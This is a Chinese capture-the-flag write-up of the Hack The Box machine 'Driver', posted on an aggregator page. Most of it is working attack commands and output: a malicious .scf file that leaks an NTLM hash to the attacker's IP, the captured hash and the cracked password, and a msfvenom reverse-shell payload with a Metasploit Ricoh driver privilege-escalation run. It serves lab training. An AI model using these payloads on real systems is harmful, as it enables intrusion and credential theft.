当前位置: 首页 > news >正文

HTB:Driver[WriteUP]

目录

连接至HTB服务器并启动靶机

信息收集

使用rustscan对靶机TCP端口进行开放扫描

将靶机TCP开放端口号提取并保存

使用nmap对靶机TCP开放端口进行脚本、服务扫描

使用nmap对靶机TCP开放端口进行漏洞、系统扫描

使用nmap对靶机常用UDP端口进行开放扫描

使用smbclient尝试root用户空密码登录靶机SMB服务

边界突破

使用浏览器访问靶机80端口

使用Yakit抓取请求包

仿照该凭证格式,使用字典尝试爆破密码

使用上述凭证通过该页面认证后进入面板

尝试上传.scf文件利用SMB反射获取用户凭证

使用responder开始欺骗及监听客户端

将该哈希值写入文件以便爆破

使用john对该哈希文件进行字典爆破

使用evil-winrm通过上述凭证登录靶机Win-RM服务

权限提升

查看靶机C盘根目录

查看靶机系统内用户

查看当前用户账户信息

查看当前用户权限信息

查看当前用户PS历史记录

查找该驱动所在目录路径

 使用大模型搜索该驱动是否存在提权漏洞

使用searchsploit搜索该漏洞

使用msfvenom生成Payload

将该Payload上传至靶机中

启动Metasploit

检索该漏洞模块


连接至HTB服务器并启动靶机

靶机IP:10.10.11.106

分配IP:10.10.16.13


信息收集

使用rustscan对靶机TCP端口进行开放扫描

rustscan -a 10.10.11.106 -r 1-65535 --ulimit 5000 | tee res

将靶机TCP开放端口号提取并保存
ports=$(grep ^[0-9] res | cut -d/ -f1 | paste -sd,)

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# grep ^[0-9] res | cut -d/ -f1 | paste -sd,         
80,135,445,5985
                                                                                                                                   
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# ports=$(grep ^[0-9] res | cut -d/ -f1 | paste -sd,)
                                                                                                                                   
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# echo $ports
80,135,445,5985

使用nmap对靶机TCP开放端口进行脚本、服务扫描

nmap -sT -p$ports -sCV -Pn 10.10.11.106

  • 需要重点关注的端口和服务

80端口:IIS服务

445端口:SMB服务

5985端口:Win-RM服务

使用nmap对靶机TCP开放端口进行漏洞、系统扫描
nmap -sT -p$ports --script=vuln -O -Pn 10.10.11.106

使用nmap对靶机常用UDP端口进行开放扫描
nmap -sU --top-ports 20 -Pn 10.10.11.106

使用smbclient尝试root用户空密码登录靶机SMB服务

smbclient -L \\10.10.11.106

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# smbclient -L \\10.10.11.106
Password for [WORKGROUP\root]:
session setup failed: NT_STATUS_ACCESS_DENIED


边界突破

使用浏览器访问靶机80端口

  • 提示需要用户名和密码

使用Yakit抓取请求包
  • 其中,请求头中的Authorization参数用于发送凭证

  • 对Basic后的字符串进行解码

仿照该凭证格式,使用字典尝试爆破密码

Authorization: Basic YWRtaW46YWRtaW4=

  • Base64解码后

账户:admin

密码:admin

  • 将靶机IP与主域名进行绑定使DNS从本地解析
sed -i '1i 10.10.11.106 driver.htb' /etc/hosts

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# sed -i '1i 10.10.11.106 driver.htb' /etc/hosts
                                                                                                                         
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# head -n1 /etc/hosts                           
10.10.11.106 driver.htb

使用上述凭证通过该页面认证后进入面板
  • 这里不知道为啥加载出来是这样的,反正也是转了半天

  • 点击左上角的Firmware Updates进入固件更新页,该页允许文件上传

  • 该页面中存在描述:Select printer model and upload the respective firmware update to our file share. Our testing team will review the uploads manually and initiates the testing soon.

翻译:选择打印机型号并将相应的固件更新上传到我们的文件共享。我们的测试团队将手动审查上传并尽快启动测试。

  • 因此,从这里上传的所有文件应当都会保存在靶机SMB服务器中,换句话说通过该页面我们拥有了向靶机SMB服务器写入文件的权限

尝试上传.scf文件利用SMB反射获取用户凭证

基于SCF文件的SMB中继攻击:攻击者上传精心构造的恶意.scf文件到SMB服务器共享目录,用户浏览该目录时,系统自动解析.scf文件触发向恶意服务器的访问请求,进而以用户身份发送NTLMv2认证请求,攻击者截获并获取该用户的NTLMv2凭证 。

  • 构造一个恶意的.scf文件
[Shell]    
Command=2    
IconFile=\\10.10.16.13\test
使用responder开始欺骗及监听客户端
responder -wv -I tun0
  • 选择文件后,点击Submit开始上传

  • 攻击机responder收到回显

  • tony用户哈希值
tony::DRIVER:cc7a5be9edf57e2b:B00C7598710E1FEB3662800CB261B7F3:0101000000000000009AE12B6165DB0140FB9FA2F3FF07460000000002000800420050005000370001001E00570049004E002D004100530034003900330053004C004C0046004300390004003400570049004E002D004100530034003900330053004C004C004600430039002E0042005000500037002E004C004F00430041004C000300140042005000500037002E004C004F00430041004C000500140042005000500037002E004C004F00430041004C0007000800009AE12B6165DB010600040002000000080030003000000000000000000000000020000092420DE18E3028DCAC604904C0367CAEF10C3B61D875F7E0ADB1D86EE62E88D90A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310036002E0031003300000000000000000000000000
将该哈希值写入文件以便爆破
echo 'tony::DRIVER:cc7a5be9edf57e2b:B00C7598710E1FEB3662800CB261B7F3:0101000000000000009AE12B6165DB0140FB9FA2F3FF07460000000002000800420050005000370001001E00570049004E002D004100530034003900330053004C004C0046004300390004003400570049004E002D004100530034003900330053004C004C004600430039002E0042005000500037002E004C004F00430041004C000300140042005000500037002E004C004F00430041004C000500140042005000500037002E004C004F00430041004C0007000800009AE12B6165DB010600040002000000080030003000000000000000000000000020000092420DE18E3028DCAC604904C0367CAEF10C3B61D875F7E0ADB1D86EE62E88D90A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310036002E0031003300000000000000000000000000' > hash
使用john对该哈希文件进行字典爆破
john hash --wordlist=../dictionary/rockyou.txt

账户:tony

密码:liltony

使用evil-winrm通过上述凭证登录靶机Win-RM服务

evil-winrm -i 10.10.11.106 -u 'tony' -p 'liltony'

  • 在C:\Users\tony\Desktop目录下找到user.txt文件


权限提升

查看靶机C盘根目录

  • 可见存在两个Program Files目录,因此靶机系统大概率为64位系统

查看靶机系统内用户

net user

  • 靶机系统内普通权限用户仅有该用户
查看当前用户账户信息
net user tony

  • 该用户没有加入特殊权限组
查看当前用户权限信息
whoami /priv

  • 没有可利用的特权
查看当前用户PS历史记录
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

*Evil-WinRM* PS C:\Users\tony\Desktop> type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
Add-Printer -PrinterName "RICOH_PCL6" -DriverName 'RICOH PCL6 UniversalDriver V4.23' -PortName 'lpt1:'

ping 1.1.1.1
ping 1.1.1.1

  • Powershell历史记录中第一条命令整体功能为,向系统添加一个打印机,其中驱动完整名称:`RICOH PCL6 UniversalDriver V4.23`
查找该驱动所在目录路径
cmd /c dir /s /ad "RICOH PCL6 UniversalDriver V4.23"

  • 该驱动所在位置:C:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23
 使用大模型搜索该驱动是否存在提权漏洞

使用searchsploit搜索该漏洞
searchsploit --cve 2019-19363

  • 由输出可见,该漏洞集成于MSF中

使用msfvenom生成Payload

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.16.13 LPORT=1425 -f exe > shell.exe

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.16.13 LPORT=1425 -f exe > shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes

将该Payload上传至靶机中
upload shell.exe

启动Metasploit
msfconsole
  • 切换到监听模块
use exploit/multi/handler
  • 配置好选项:LHOST、LPORT、PAYLOAD,并开始监听

msf6 exploit(multi/handler) > set LHOST 10.10.16.13
LHOST => 10.10.16.13
msf6 exploit(multi/handler) > set LPORT 1425
LPORT => 1425
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.10.16.13:1425

  • 控制靶机运行Payload
.\shell.exe
  • 攻击机MSF监听端收到回显

[*] Started reverse TCP handler on 10.10.16.13:1425
[*] Sending stage (203846 bytes) to 10.10.11.106
[*] Meterpreter session 1 opened (10.10.16.13:1425 -> 10.10.11.106:49431) at 2025-01-13 04:44:35 -0500

meterpreter >

  • 列出靶机系统进程
ps

  • 通过Session栏目判断,为0则是系统进程,为1则是用户进程。我尝试将Meterpreter迁移进用户进程explorer.exe
migrate -N explorer.exe

meterpreter > migrate -N explorer.exe
[*] Migrating from 4256 to 3260...
[*] Migration completed successfully.

检索该漏洞模块
search 2019-19363

  • 切换到该模块
use exploit/windows/local/ricoh_driver_privesc
  • 列出该模块所需填写的选项
show options

  • 此处需要配置好的选项:LHOST、LPORT、PAYLOAD、SESSION

msf6 exploit(windows/local/ricoh_driver_privesc) > set LHOST 10.10.16.13
LHOST => 10.10.16.13
msf6 exploit(windows/local/ricoh_driver_privesc) > set LPORT 1426
LPORT => 1426
msf6 exploit(windows/local/ricoh_driver_privesc) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/ricoh_driver_privesc) > set SESSION 1
SESSION => 1

  • 执行该模块
exploit

  • 查找root.txt文件位置
search -f root.txt

meterpreter > search -f root.txt
Found 1 result...
=================

Path                                     Size (bytes)  Modified (UTC)
----                                     ------------  --------------
c:\Users\Administrator\Desktop\root.txt  34            2025-01-13 05:55:59 -0500

  • 查看root.txt文件内容

meterpreter > shell
Process 1876 created.
Channel 2 created.
Microsoft Windows [Version 10.0.10240]
(c) 2015 Microsoft Corporation. All rights reserved.

C:\Windows\system32>type c:\Users\Administrator\Desktop\root.txt
type c:\Users\Administrator\Desktop\root.txt
030cd5d04a90f1bd3c163e0bcd3280eb

相关文章:

HTB:Driver[WriteUP]

目录 连接至HTB服务器并启动靶机 信息收集 使用rustscan对靶机TCP端口进行开放扫描 将靶机TCP开放端口号提取并保存 使用nmap对靶机TCP开放端口进行脚本、服务扫描 使用nmap对靶机TCP开放端口进行漏洞、系统扫描 使用nmap对靶机常用UDP端口进行开放扫描 使用smbclient尝…...

微信小程序-Docker+Nginx环境配置业务域名验证文件

在实际开发或运维工作中,我们时常需要在 Nginx 部署的服务器上提供一个特定的静态文件,用于域名验证或第三方平台验证。若此时使用 Docker 容器部署了 Nginx,就需要将该验证文件正确地映射(挂载)到容器中,并…...

55_OpenResty开发入门

Nginx编程需要用到Lua语言,因此我们必须先学习Lua的基本语法。Nginx本身也是C语言开发,因此也允许基于Lua做拓展。多级缓存的实现离不开Nginx编程,而Nginx编程又离不开OpenResty。 1.OpenResty概述 OpenResty是一款基于NGINX和LuaJIT的Web平台。通过Lua扩展NGINX实现的可伸…...

Windows安装Jenkins——及修改主目录、配置简体中文、修改插件源

一、简介 Jenkinshttps://www.jenkins.io/zh/ Jenkins是开源CI&CD软件领导者, 提供超过1000个插件来支持构建、部署、自动化, 满足任何项目的需要。 二、Windows安装配置Jenkins2.479 2.1、J...

大数据环境搭建进度

1.使用虚拟机的系统:centos7.xLinux 2.资源不足,使用云服务器: 1. 3.使用远程登录进行操作 用xshell 4.任务 1.虚拟机装好 2.设置IP地址 3.可以联网 4.设置远程登录访问 5.创建module和software目录,修改两…...

第27章 汇编语言--- 设备驱动开发基础

汇编语言是低级编程语言的一种,它与特定的计算机架构紧密相关。在设备驱动开发中,汇编语言有时用于编写性能关键的部分或直接操作硬件,因为它是接近机器语言的代码,可以提供对硬件寄存器和指令集的直接访问。 要展开源代码详细叙…...

Apache Hop从入门到精通 第二课 Apache Hop 核心概念/术语

1、apache hop核心概念思维导图 虽然apache hop是kettle的一个分支,但是它的概念和kettle还是有一些区别的,下图是我根据官方文档梳理的appache hop的核心概念思维导图。 2、Tools(工具) 1)Hop Conf Hop Conf 是一个…...

Vue2+OpenLayers使用Overlay实现点击获取当前经纬度信息(提供Gitee源码)

目录 一、案例截图 二、安装OpenLayers库 三、代码实现 关键参数: 实现思路: 核心代码: 完整代码: 四、Gitee源码 一、案例截图 二、安装OpenLayers库 npm install ol 三、代码实现 覆盖物(Overlay&#xf…...

英语互助小程序springboot+论文源码调试讲解

第2章 开发环境与技术 英语互助小程序的编码实现需要搭建一定的环境和使用相应的技术,接下来的内容就是对英语互助小程序用到的技术和工具进行介绍。 2.1 MYSQL数据库 本课题所开发的应用程序在数据操作方面是不可预知的,是经常变动的,没有…...

中等难度——python实现电子宠物和截图工具

import io # 文件处理 import nt # windows nt 库直接获取对应的磁盘空间 import time # 时间 import zlib # 加解密 import ctypes # 调用 import struct # 处理字节二进制 import base64 # 编解码 import threading # 线程 import tkinter as tk # tk from datetime…...

深入Android架构(从线程到AIDL)_22 IPC的Proxy-Stub设计模式04

目录 5、 谁来写Proxy及Stub类呢? 如何考虑人的分工 IA接口知识取得的难题 在编程上,有什么技术可以实现这个方法? 范例 5、 谁来写Proxy及Stub类呢? -- 强龙提供AIDL工具,给地头蛇产出Proxy和Stub类 如何考虑人的分工 由框架开发者…...

【MySQL数据库】基础总结

目录 前言 一、概述 二、 SQL 1. SQL通用语法 2. SQL分类 3. DDL 3.1 数据库操作 3.2 表操作 4. DML 5. DQL 5.1 基础查询 5.2 条件查询 5.3 聚合函数 5.4 分组查询 5.5 排序查询 5.6 分页查询 6. DCL 6.1 管理用户 6.2 权限控制 三、数据类型 1. 数值类…...

49_Lua调试

Lua提供了debug库用于创建自定义调试器,尽管Lua本身没有内置的调试器1。这个库允许开发者在程序运行时检查和控制执行流程,这对于开发过程中的错误查找和修复非常有用。 1.Debug库概述 debug库提供的函数可以分为两类:自省函数(introspection functions)和钩子函数(hoo…...

vue的KeepAlive应用(针对全部页面及单一页面进行缓存)

KeepAlive的作用是缓存包裹在其中的动态切换组件 当一个组件在 中被切换时,它的 activated 和 deactivated 生命周期钩子将被调用,用来替代 mounted 和 unmounted。这适用于 的直接子节点及其所有子孙节点。 缓存全部页面 将app.vue中的路由出口改为&am…...

lwip单网卡多ip的实现

1、今天要实现lwip的多个ip配置,本来以为需要自己修改很多核心代码 2、查阅资料才发现,lwip已经把接口留出来了 /** Define this to 1 and define LWIP_ARP_FILTER_NETIF_FN(pbuf, netif, type) * to a filter function that returns the correct neti…...

// Error: line 1: XGen: Candidate guides have not been associated!

Maya xgen 报错// Error: line 1: XGen: Candidate guides have not been associated! 复制下面粘贴到Maya脚本管理器python运行: import maya.cmds as cmds def connect_xgen_guides():guide_nodes cmds.ls(typexgmMakeGuide)for node in guide_nodes:downstream…...

第21篇 基于ARM A9处理器用汇编语言实现中断<三>

Q:怎样编写ARM A9处理器汇编语言代码配置按键端口产生中断? A:使用Intel Monitor Program创建中断程序时,Linker Section Presets下拉菜单中需选择Exceptions。主程序在.vectors代码段为ARM处理器设置异常向量表,在…...

mac homebrew配置使用

本文介绍mac上homebrew工具的安装、配置过程。homebrew功能类似于centos的yum,用于软件包的管理,使用上有命令的差异。 本次配置过程使用mac,看官方文档,在linux上也可以用,但我没试过,有兴趣的同学可以试试…...

慧集通(DataLinkX)iPaaS集成平台-业务建模之业务对象(三)

4.搜索配置 搜索配置是用于该业务对象发布后被其它业务对象的搜索组件调用时界面显示内容以及对应查询条件的配置;当我们选择一条业务对象然后点击功能按钮【搜索配置】,则进入业务对象的搜索配置维护界面。 在搜索配置的维护界面我们可以维护该业务对象…...

【redis初阶】环境搭建

​​​​​​​ 目录 ​​​​​​​ 一、Ubuntu 安装 redis 二、Centos7 安装 redis 三、Centos8 安装 redis 四、redis客户端介绍 redis学习🥳 一、Ubuntu 安装 redis 使用 apt 安装 apt install redis -y 查看redis版本 redis-server --version 支持远程连接…...

Chapter03-Authentication vulnerabilities

文章目录 1. 身份验证简介1.1 What is authentication1.2 difference between authentication and authorization1.3 身份验证机制失效的原因1.4 身份验证机制失效的影响 2. 基于登录功能的漏洞2.1 密码爆破2.2 用户名枚举2.3 有缺陷的暴力破解防护2.3.1 如果用户登录尝试失败次…...

7.4.分块查找

一.分块查找的算法思想: 1.实例: 以上述图片的顺序表为例, 该顺序表的数据元素从整体来看是乱序的,但如果把这些数据元素分成一块一块的小区间, 第一个区间[0,1]索引上的数据元素都是小于等于10的, 第二…...

java_网络服务相关_gateway_nacos_feign区别联系

1. spring-cloud-starter-gateway 作用:作为微服务架构的网关,统一入口,处理所有外部请求。 核心能力: 路由转发(基于路径、服务名等)过滤器(鉴权、限流、日志、Header 处理)支持负…...

Debian系统简介

目录 Debian系统介绍 Debian版本介绍 Debian软件源介绍 软件包管理工具dpkg dpkg核心指令详解 安装软件包 卸载软件包 查询软件包状态 验证软件包完整性 手动处理依赖关系 dpkg vs apt Debian系统介绍 Debian 和 Ubuntu 都是基于 Debian内核 的 Linux 发行版&#xff…...

Mybatis逆向工程,动态创建实体类、条件扩展类、Mapper接口、Mapper.xml映射文件

今天呢,博主的学习进度也是步入了Java Mybatis 框架,目前正在逐步杨帆旗航。 那么接下来就给大家出一期有关 Mybatis 逆向工程的教学,希望能对大家有所帮助,也特别欢迎大家指点不足之处,小生很乐意接受正确的建议&…...

《Playwright:微软的自动化测试工具详解》

Playwright 简介:声明内容来自网络,将内容拼接整理出来的文档 Playwright 是微软开发的自动化测试工具,支持 Chrome、Firefox、Safari 等主流浏览器,提供多语言 API(Python、JavaScript、Java、.NET)。它的特点包括&a…...

linux arm系统烧录

1、打开瑞芯微程序 2、按住linux arm 的 recover按键 插入电源 3、当瑞芯微检测到有设备 4、松开recover按键 5、选择升级固件 6、点击固件选择本地刷机的linux arm 镜像 7、点击升级 (忘了有没有这步了 估计有) 刷机程序 和 镜像 就不提供了。要刷的时…...

Cloudflare 从 Nginx 到 Pingora:性能、效率与安全的全面升级

在互联网的快速发展中,高性能、高效率和高安全性的网络服务成为了各大互联网基础设施提供商的核心追求。Cloudflare 作为全球领先的互联网安全和基础设施公司,近期做出了一个重大技术决策:弃用长期使用的 Nginx,转而采用其内部开发…...

DBAPI如何优雅的获取单条数据

API如何优雅的获取单条数据 案例一 对于查询类API,查询的是单条数据,比如根据主键ID查询用户信息,sql如下: select id, name, age from user where id #{id}API默认返回的数据格式是多条的,如下: {&qu…...

Java入门学习详细版(一)

大家好,Java 学习是一个系统学习的过程,核心原则就是“理论 实践 坚持”,并且需循序渐进,不可过于着急,本篇文章推出的这份详细入门学习资料将带大家从零基础开始,逐步掌握 Java 的核心概念和编程技能。 …...